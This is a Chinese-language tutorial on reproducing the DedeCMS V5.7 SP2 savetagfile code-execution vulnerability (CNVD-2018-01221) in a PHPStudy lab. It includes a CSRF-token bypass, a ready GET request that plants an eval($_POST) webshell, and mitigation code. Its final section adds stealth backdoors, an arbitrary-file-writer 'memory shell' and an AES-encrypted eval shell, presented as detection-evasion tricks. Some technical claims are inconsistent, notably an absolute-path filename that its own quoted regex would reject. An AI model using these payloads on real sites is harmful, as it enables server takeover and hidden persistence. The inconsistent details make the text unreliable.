
PHPStudy环境下DedeCMS V5.7 SP2漏洞深度解析与实战复现在本地测试环境中复现历史漏洞是安全研究人员提升实战能力的重要途径。本文将聚焦DedeCMS V5.7 SP2版本中那个著名的代码执行漏洞CNVD-2018-01221特别针对PHPStudy这一广泛使用的本地开发环境详细剖析漏洞原理并演示如何绕过CSRF防护机制完成漏洞利用。1. 环境准备与基础配置1.1 组件版本选择首先需要确保各组件版本完全匹配漏洞存在的环境PHPStudy版本推荐使用PHPStudy 2018ApachePHP5.6组合DedeCMS版本必须严格使用V5.7 SP2UTF-8版本数据库MySQL 5.5注意不同版本的PHPStudy可能默认启用不同配置建议关闭魔术引号(magic_quotes_gpcOff)以还原原始漏洞环境。1.2 安装流程关键点下载官方源码包后解压至WWW目录下的dedecms文件夹访问安装页面时数据库配置环节需要特别注意数据库主机localhost 数据库用户root 数据库密码保持与PHPStudy设置的MySQL密码一致 数据库名称dedecms安装完成后立即备份以下关键文件/uploads/dede/tpl.php/uploads/include/taglib/目录2. 漏洞原理深度剖析2.1 危险函数调用链漏洞核心位于tpl.php文件的savetagfile函数其危险代码段如下function savetagfile() { if($action savetagfile) { // CSRF校验 CheckCSRF(); // 文件名过滤 if(!preg_match(#^[a-z0-9_-]{1,}\.lib\.php$#i, $filename)) { ShowMsg(文件名不合法, javascript:;); exit(); } // 直接写入文件 $fp fopen($filename, w); fwrite($fp, $content); fclose($fp); } }这段代码存在三个致命缺陷CSRF防护可绕过虽然存在CheckCSRF()验证但token获取方式存在逻辑漏洞文件名过滤不严正则表达式仅要求以.lib.php结尾未限制目录穿越内容无过滤直接写入用户可控的$content变量2.2 攻击面分析攻击向量风险等级利用条件后台CSRF绕过高危管理员会话任意文件写入严重有效token代码执行严重文件写入权限3. CSRF防护绕过实战3.1 Token获取技巧通过分析源码发现虽然大多数操作需要token验证但actionupload时页面会主动返回token首先访问获取token的地址http://localhost/dedecms/uploads/dede/tpl.php?actionupload查看页面源码搜索token值通常形式为input typehidden nametoken valuea42b45bf9459aa8c256dadff4eaf483d /3.2 精心构造Payload利用获取的token可以构造完整的攻击链GET /dedecms/uploads/dede/tpl.php?actionsavetagfiletoken[VALID_TOKEN]filenameshell.lib.phpcontent?php eval($_POST[cmd]);? HTTP/1.1 Host: localhost关键参数说明actionsavetagfile触发漏洞函数token绕过CSRF防护filename需满足.lib.php后缀要求content待执行的PHP代码4. 漏洞防御与加固方案4.1 临时缓解措施对于仍在使用该版本的用户建议立即重命名或删除tpl.php文件限制/uploads/include/taglib/目录的写入权限chmod -R 555 /path/to/taglib/4.2 代码层修复建议开发者应实现以下安全机制严格的文件路径校验$basepath /uploads/include/taglib/; if(strpos(realpath($filename), $basepath) ! 0) { die(非法路径); }内容安全过滤if(preg_match(/\?php|eval\(|base64_decode/i, $content)) { die(危险内容被拦截); }5. 渗透测试中的高级利用技巧在实际安全评估中我们还可以尝试以下进阶手法内存马注入通过写入包含以下代码的文件实现无文件攻击?php register_shutdown_function(function(){ file_put_contents($_GET[f], $_GET[c]); }); ?隐蔽通信使用加密通信规避检测?php $key secret; $data openssl_decrypt(base64_decode($_POST[z]), AES-256-CBC, $key); eval($data); ?在复现过程中发现Windows环境下的PHPStudy有时会对路径处理存在差异建议在写入文件时使用绝对路径确保成功率。例如将filename参数指定为filenameC:/phpstudy/WWW/dedecms/uploads/include/taglib/shell.lib.php